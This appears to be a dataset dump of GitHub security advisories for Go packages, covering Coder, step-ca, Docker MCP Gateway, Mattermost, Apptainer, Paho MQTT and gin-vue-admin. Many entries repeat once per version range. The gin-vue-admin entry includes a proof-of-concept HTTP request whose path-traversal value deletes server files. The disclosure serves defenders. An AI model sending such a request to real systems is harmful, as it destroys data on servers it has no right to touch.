deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-jf75-p25m-pw74
Package: github.com/coder/coder/v2 (GO)
Severity: HIGH (CVSS 7.8)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: >= 2.28.0, < 2.28.4
Patched in: 2.28.4

Summary: Coder logs sensitive objects unsanitized

Details:
## Summary
Workspace Agent manifests containing sensitive values were logged in plaintext unsanitized

## Details
By default Workspace Agent logs are redirected to [stderr](https://linux.die.net/man/3/stderr)
https://github.com/coder/coder/blob/a8862be546f347c59201e2219d917e28121c0edb/cli/agent.go#L432-L439

[Workspace Agent Manifests](https://coder.com/docs/reference/agent-api/schemas#agentsdkmanifest) containing sensitive environment variables were logged insecurely
https://github.com/coder/coder/blob/7beb95fd56d2f790502e236b64906f8eefb969bd/agent/agent.go#L1090

An attacker with limited local access to the Coder Workspace (VM, K8s Pod etc.) or a third-party system ([SIEM](https://csrc.nist.gov/glossary/term/security_information_and_event_management_tool), logging stack) could access those logs

This behavior opened room for unauthorized access and privilege escalation

## Impact
Impact varies depending on the environment variables set in a given workspace

## Patches
[Fix](https://github.com/coder/coder/commit/e2a46393fce40bc630df3293c1ee66a596277289) was released & backported:
- https://github.com/coder/coder/releases/tag/v2.28.4
- https://github.com/coder/coder/releases/tag/v2.27.7
- https://github.com/coder/coder/releases/tag/v2.26.5

## Workarounds
One potential workaround is to disable Workspace Agent Logs by setting following configuration option
`CODER_AGENT_LOGGING_HUMAN=/dev/null` 
> platform operators are advised to upgrade their deployments
GitHub Security Advisory: GHSA-jf75-p25m-pw74
Package: github.com/coder/coder/v2 (GO)
Severity: HIGH (CVSS 7.8)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: >= 2.27.0, < 2.27.7
Patched in: 2.27.7

Summary: Coder logs sensitive objects unsanitized

Details:
## Summary
Workspace Agent manifests containing sensitive values were logged in plaintext unsanitized

## Details
By default Workspace Agent logs are redirected to [stderr](https://linux.die.net/man/3/stderr)
https://github.com/coder/coder/blob/a8862be546f347c59201e2219d917e28121c0edb/cli/agent.go#L432-L439

[Workspace Agent Manifests](https://coder.com/docs/reference/agent-api/schemas#agentsdkmanifest) containing sensitive environment variables were logged insecurely
https://github.com/coder/coder/blob/7beb95fd56d2f790502e236b64906f8eefb969bd/agent/agent.go#L1090

An attacker with limited local access to the Coder Workspace (VM, K8s Pod etc.) or a third-party system ([SIEM](https://csrc.nist.gov/glossary/term/security_information_and_event_management_tool), logging stack) could access those logs

This behavior opened room for unauthorized access and privilege escalation

## Impact
Impact varies depending on the environment variables set in a given workspace

## Patches
[Fix](https://github.com/coder/coder/commit/e2a46393fce40bc630df3293c1ee66a596277289) was released & backported:
- https://github.com/coder/coder/releases/tag/v2.28.4
- https://github.com/coder/coder/releases/tag/v2.27.7
- https://github.com/coder/coder/releases/tag/v2.26.5

## Workarounds
One potential workaround is to disable Workspace Agent Logs by setting following configuration option
`CODER_AGENT_LOGGING_HUMAN=/dev/null` 
> platform operators are advised to upgrade their deployments
GitHub Security Advisory: GHSA-jf75-p25m-pw74
Package: github.com/coder/coder/v2 (GO)
Severity: HIGH (CVSS 7.8)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: < 2.26.5
Patched in: 2.26.5

Summary: Coder logs sensitive objects unsanitized

Details:
## Summary
Workspace Agent manifests containing sensitive values were logged in plaintext unsanitized

## Details
By default Workspace Agent logs are redirected to [stderr](https://linux.die.net/man/3/stderr)
https://github.com/coder/coder/blob/a8862be546f347c59201e2219d917e28121c0edb/cli/agent.go#L432-L439

[Workspace Agent Manifests](https://coder.com/docs/reference/agent-api/schemas#agentsdkmanifest) containing sensitive environment variables were logged insecurely
https://github.com/coder/coder/blob/7beb95fd56d2f790502e236b64906f8eefb969bd/agent/agent.go#L1090

An attacker with limited local access to the Coder Workspace (VM, K8s Pod etc.) or a third-party system ([SIEM](https://csrc.nist.gov/glossary/term/security_information_and_event_management_tool), logging stack) could access those logs

This behavior opened room for unauthorized access and privilege escalation

## Impact
Impact varies depending on the environment variables set in a given workspace

## Patches
[Fix](https://github.com/coder/coder/commit/e2a46393fce40bc630df3293c1ee66a596277289) was released & backported:
- https://github.com/coder/coder/releases/tag/v2.28.4
- https://github.com/coder/coder/releases/tag/v2.27.7
- https://github.com/coder/coder/releases/tag/v2.26.5

## Workarounds
One potential workaround is to disable Workspace Agent Logs by setting following configuration option
`CODER_AGENT_LOGGING_HUMAN=/dev/null` 
> platform operators are advised to upgrade their deployments
GitHub Security Advisory: GHSA-j7c9-79x7-8hpr
Package: github.com/smallstep/certificates (GO)
Severity: MODERATE (CVSS 5.0)
CWE: CWE-285: Improper Authorization, CWE-863: Incorrect Authorization
Vulnerable versions: <= 0.28.4
Patched in: 0.29.0

Summary: step-ca Has Improper Authorization Check for SSH Certificate Revocation

Details:
## Summary
An authorized attacker can bypass authorization checks and revoke any SSH certificate issued by Step CA by using a valid revocation token.

## Details
Step CA users can obtain SSH certificates from a few provisioners. The SSHPOP provisioner allows revocation of the SSH certificate (preventing future certificate renewals) using a token. Due to a missing validity check, this token could be used to revoke any SSH certificate issued by the CA.

To create a token, an attacker must have access to the CA endpoint and a valid SSH certificate, meaning they were already authorized to obtain an SSH certificate. The attacker must also know the serial number of the certificate they want to revoke.

## Impact
There is no way to mitigate this attack. It is recommended to update to v0.29.0 or newer.

## Fix
In v0.29.0, the token validation logic was strengthened to bind each token to a specific SSH certificate serial number.

## Acknowledgements
This issue was identified and reported by Gabriel Departout and Andy Russon, from [AMOSSYS](http://amossys.fr/). This audit was sponsored by [ANSSI](https://cyber.gouv.fr/) (French Cybersecurity Agency) based on [their Open-Source security audit program](https://cyber.gouv.fr/open-source-lanssi#:~:text=Financement%20d%27%C3%A9valuations%20de%20s%C3%A9curit%C3%A9%20de%20logiciels%20libres).

## Embargo List

If your organization runs Step CA in production and would like advance, embargoed notification of future security updates, visit https://u.step.sm/disclosure to request inclusion on our embargo list.

Stay safe, and thank you for helping us keep the ecosystem secure.
GitHub Security Advisory: GHSA-46gc-mwh4-cc5r
Package: github.com/docker/mcp-gateway (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-749: Exposed Dangerous Method or Function
Vulnerable versions: <= 0.27.0
Patched in: 0.28.0

Summary: Docker MCP Plugin and Docker MCP Gateway have DNS Rebinding vulnerability when running in sse or streaming mode

Details:
### Impact
When ran in sse or streaming mode (--transport), the Docker MCP Gateway is vulnerable to a DNS rebinding attack. 

Vulnerability allows for Browser-Based exploitation of any MCP servers that are executing within the Docker MCP Gateway. Any tools or other features exposed by MCP servers can be manipulated by an attacker who is able to get a victim to visit a malicious website, or if a victim is served a malicious advertisement. 

The MCP Gateway is not prone to this attack when started in its default stdio mode, which does not listen on any network ports.


### Patches
Patch available in version v0.28.0

### Workarounds
Do not start the MCP gateway in sse or streaming mode (use default stdio)
GitHub Security Advisory: GHSA-58w6-w55x-6wq8
Package: github.com/mattermost/mattermost (GO)
Severity: LOW (CVSS 3.1)
CWE: CWE-284: Improper Access Control, CWE-306: Missing Authentication for Critical Function
Vulnerable versions: >= 10.5.0, < 10.5.13
Patched in: 10.5.13

Summary: Mattermost fails to validate user permissions in Boards

Details:
Mattermost versions 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate the user permission when accessing the files and subscribing to the block in Boards, which allows an authenticated user to access other board files and was able to subscribe to the block from other boards that the user does not have access to
GitHub Security Advisory: GHSA-58w6-w55x-6wq8
Package: github.com/mattermost/mattermost (GO)
Severity: LOW (CVSS 3.1)
CWE: CWE-284: Improper Access Control, CWE-306: Missing Authentication for Critical Function
Vulnerable versions: >= 10.11.0, < 10.11.5
Patched in: 10.11.5

Summary: Mattermost fails to validate user permissions in Boards

Details:
Mattermost versions 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate the user permission when accessing the files and subscribing to the block in Boards, which allows an authenticated user to access other board files and was able to subscribe to the block from other boards that the user does not have access to
GitHub Security Advisory: GHSA-58w6-w55x-6wq8
Package: github.com/mattermost/mattermost/server/v8 (GO)
Severity: LOW (CVSS 3.1)
CWE: CWE-284: Improper Access Control, CWE-306: Missing Authentication for Critical Function
Vulnerable versions: < 8.0.0[PII_REDACTED]0616-ba86dfc5876b
Patched in: 8.0.0[PII_REDACTED]0616-ba86dfc5876b

Summary: Mattermost fails to validate user permissions in Boards

Details:
Mattermost versions 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate the user permission when accessing the files and subscribing to the block in Boards, which allows an authenticated user to access other board files and was able to subscribe to the block from other boards that the user does not have access to
GitHub Security Advisory: GHSA-j3rw-fx6g-q46j
Package: github.com/apptainer/apptainer (GO)
Severity: MODERATE (CVSS 4.5)
CWE: CWE-61: UNIX Symbolic Link (Symlink) Following, CWE-706: Use of Incorrectly-Resolved Name or Reference
Vulnerable versions: < 1.4.5
Patched in: 1.4.5

Summary: Apptainer ineffectively applies selinux and apparmor --security options

Details:
### Impact
In Apptainer versions less than 1.4.5, a container can disable two of the forms of the little used `--security` option, in particular the forms `--security=apparmor:<profile>` and `--security=selinux:<label>` which otherwise put restrictions on operations that containers can do.  The `--security` option has always been mentioned in Apptainer documentation as being a feature for the root user, although these forms do also work for unprivileged users on systems where the corresponding feature is enabled.  Apparmor is enabled by default on Debian-based distributions and SElinux is enabled by default on RHEL-based distributions, but on SUSE it depends on the distribution version.

In addition, a bug in the detection of selinux support in Apptainer's suid mode means that `--security selinux:<label>` flags may not be applied, even in the absence of an attack.  In that case a warning message is emitted indicating that selinux is unavailable, but the warning may be may be overlooked, mis-interpreted, or not seen when apptainer is run from a script or other tool.  Failure to apply requested restrictions should result in a fatal error rather than just a warning message.

### Patches
Ineffective write of selinux process labels is addressed via an update to the containers/selinux dependency in https://github.com/apptainer/apptainer/pull/3226. That update brings in the upstream fix for https://github.com/advisories/GHSA-cgrx-mc8f-2prm which was for a different but related vulnerability.

Ineffective write of apparmor process profiles is addressed in commit 4313b42.

Failure to detect apparmor / selinux support, when --security flags are provided, is made an error rather than a warning in commit 82f1790.

### Workarounds
There are no known workarounds, other than to define system-wide apparmor / selinux policy for Apptainer itself. This would apply to all containers, not just those run with the `--security` flags, and could impact the operation of Apptainer itself.

### References
Thanks to Sylabs for finding this issue, fixing it in https://github.com/sylabs/singularity/security/advisories/GHSA-wwrx-w7c9-rf87 which was easy to import into Apptainer, and disclosing it early to the Apptainer project for a coordinated release.

The related upstream runc disclosure which inspired the investigation is https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm.
GitHub Security Advisory: GHSA-32fw-gq77-f2f2
Package: github.com/eclipse/paho.mqtt.golang (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-197: Numeric Truncation Error
Vulnerable versions: < 1.5.1
Patched in: 1.5.1

Summary: Eclipse Paho Go MQTT may incorrectly encode strings if length exceeds 65535 bytes

Details:
In Eclipse Paho Go MQTT v3.1 library (paho.mqtt.golang) versions <=1.5.0 UTF-8 encoded strings, passed into the library, may be incorrectly encoded if their length exceeds 65535 bytes. This may lead to unexpected content in packets sent to the server (for example, part of an MQTT topic may leak into the message body in a PUBLISH packet).

The issue arises because the length of the data passed in was converted from an int64/int32 (depending upon CPU) to an int16 without checks for overflows. The int16 length was then written, followed by the data (e.g. topic). This meant that when the data (e.g. topic) was over 65535 bytes then the amount of data written exceeds what the length field indicates. This could lead to a corrupt packet, or mean that the excess data leaks into another field (e.g. topic leaks into message body).
GitHub Security Advisory: GHSA-p6gj-jc38-x2m7
Package: github.com/mattermost/mattermost (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 11.0.0, <= 11.0.2
Patched in: unpatched

Summary: Mattermost fails to validate user permissions when deleting comments in Boards

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate user permissions when deleting comments in Boards, which allows an authenticated user with the editor role to delete comments created by other users.
GitHub Security Advisory: GHSA-p6gj-jc38-x2m7
Package: github.com/mattermost/mattermost (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 10.5.0, <= 10.5.12
Patched in: unpatched

Summary: Mattermost fails to validate user permissions when deleting comments in Boards

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate user permissions when deleting comments in Boards, which allows an authenticated user with the editor role to delete comments created by other users.
GitHub Security Advisory: GHSA-p6gj-jc38-x2m7
Package: github.com/mattermost/mattermost (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 10.12.0, <= 10.12.1
Patched in: unpatched

Summary: Mattermost fails to validate user permissions when deleting comments in Boards

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate user permissions when deleting comments in Boards, which allows an authenticated user with the editor role to delete comments created by other users.
GitHub Security Advisory: GHSA-p6gj-jc38-x2m7
Package: github.com/mattermost/mattermost (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 10.11.0, <= 10.11.4
Patched in: unpatched

Summary: Mattermost fails to validate user permissions when deleting comments in Boards

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate user permissions when deleting comments in Boards, which allows an authenticated user with the editor role to delete comments created by other users.
GitHub Security Advisory: GHSA-p6gj-jc38-x2m7
Package: github.com/mattermost/mattermost/server/v8 (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 8.0.0[PII_REDACTED]2617-7977e7e6dae3
Patched in: unpatched

Summary: Mattermost fails to validate user permissions when deleting comments in Boards

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to validate user permissions when deleting comments in Boards, which allows an authenticated user with the editor role to delete comments created by other users.
GitHub Security Advisory: GHSA-jrhg-82w2-vvj7
Package: github.com/flipped-aurora/gin-vue-admin (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 0.9.1-0[PII_REDACTED]4432-ee8d8d7e04d9
Patched in: 0.9.1-0[PII_REDACTED]4432-ee8d8d7e04d9

Summary: Gin-vue-admin has an arbitrary file deletion vulnerability

Details:
### Impact
Attackers can delete any file on the server at will, causing damage or unavailability of server resources. Attackers can control the 'FileMd5' parameter to delete any file and folder

 The affected code:
![image (1)](https://github.com/user-attachments/assets/26eab823-2df8-454a-a42e-a512925d62b6)

Affected interfaces:
/api/fileUploadAndDownload/removeChunk


POC:
You can specify the FileMd5 value as the directory or file you want to delete

```POST /api/fileUploadAndDownload/removeChunk HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 78
sec-ch-ua: "Not=A?Brand";v="99", "Chromium";v="118"
x-token: [CREDENTIAL_REDACTED]
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
x-user-id: 1
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: x-token=[CREDENTIAL_REDACTED]
Connection: close

{"fileName":"ceshi.jpg","fileMd5":"../config.yaml","filePath":"./fileDir/ceshi.jpg"}
```
![image (2)](https://github.com/user-attachments/assets/aafeb46b-933a-44b6-9fcf-da0f44269e5b)

### Patches
Please wait for the latest patch

### References
https://github.com/flipped-aurora/gin-vue-admin
GitHub Security Advisory: GHSA-mp6x-97xj-9x62
Package: github.com/mattermost/mattermost-server (GO)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-287: Improper Authentication, CWE-303: Incorrect Implementation of Authentication Algorithm
Vulnerable versions: >= 10.5.0, < 10.5.13
Patched in: 10.5.13

Summary: Mattermost fails to to verify the token used during code exchange

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to to verify that the token used during the code exchange originates from the same authentication flow, which allows an authenticated user to perform account takeover via a specially crafted email address used when switching authentication methods and sending a request to the /users/login/sso/code-exchange endpoint. The vulnerability requires ExperimentalEnableAuthenticationTransfer to be enabled (default: enabled) and RequireEmailVerification to be disabled (default: disabled).
GitHub Security Advisory: GHSA-mp6x-97xj-9x62
Package: github.com/mattermost/mattermost-server (GO)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-287: Improper Authentication, CWE-303: Incorrect Implementation of Authentication Algorithm
Vulnerable versions: >= 10.11.0, < 10.11.5
Patched in: 10.11.5

Summary: Mattermost fails to to verify the token used during code exchange

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to to verify that the token used during the code exchange originates from the same authentication flow, which allows an authenticated user to perform account takeover via a specially crafted email address used when switching authentication methods and sending a request to the /users/login/sso/code-exchange endpoint. The vulnerability requires ExperimentalEnableAuthenticationTransfer to be enabled (default: enabled) and RequireEmailVerification to be disabled (default: disabled).
GitHub Security Advisory: GHSA-mp6x-97xj-9x62
Package: github.com/mattermost/mattermost-server (GO)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-287: Improper Authentication, CWE-303: Incorrect Implementation of Authentication Algorithm
Vulnerable versions: >= 10.12.0, < 10.12.2
Patched in: 10.12.2

Summary: Mattermost fails to to verify the token used during code exchange

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to to verify that the token used during the code exchange originates from the same authentication flow, which allows an authenticated user to perform account takeover via a specially crafted email address used when switching authentication methods and sending a request to the /users/login/sso/code-exchange endpoint. The vulnerability requires ExperimentalEnableAuthenticationTransfer to be enabled (default: enabled) and RequireEmailVerification to be disabled (default: disabled).
GitHub Security Advisory: GHSA-mp6x-97xj-9x62
Package: github.com/mattermost/mattermost-server (GO)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-287: Improper Authentication, CWE-303: Incorrect Implementation of Authentication Algorithm
Vulnerable versions: >= 11.0.0, < 11.0.3
Patched in: 11.0.3

Summary: Mattermost fails to to verify the token used during code exchange

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to to verify that the token used during the code exchange originates from the same authentication flow, which allows an authenticated user to perform account takeover via a specially crafted email address used when switching authentication methods and sending a request to the /users/login/sso/code-exchange endpoint. The vulnerability requires ExperimentalEnableAuthenticationTransfer to be enabled (default: enabled) and RequireEmailVerification to be disabled (default: disabled).
GitHub Security Advisory: GHSA-mp6x-97xj-9x62
Package: github.com/mattermost/mattermost/server/v8 (GO)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-287: Improper Authentication, CWE-303: Incorrect Implementation of Authentication Algorithm
Vulnerable versions: < 8.0.0[PII_REDACTED]0333-acda1fb5dd46
Patched in: 8.0.0[PII_REDACTED]0333-acda1fb5dd46

Summary: Mattermost fails to to verify the token used during code exchange

Details:
Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to to verify that the token used during the code exchange originates from the same authentication flow, which allows an authenticated user to perform account takeover via a specially crafted email address used when switching authentication methods and sending a request to the /users/login/sso/code-exchange endpoint. The vulnerability requires ExperimentalEnableAuthenticationTransfer to be enabled (default: enabled) and RequireEmailVerification to be disabled (default: disabled).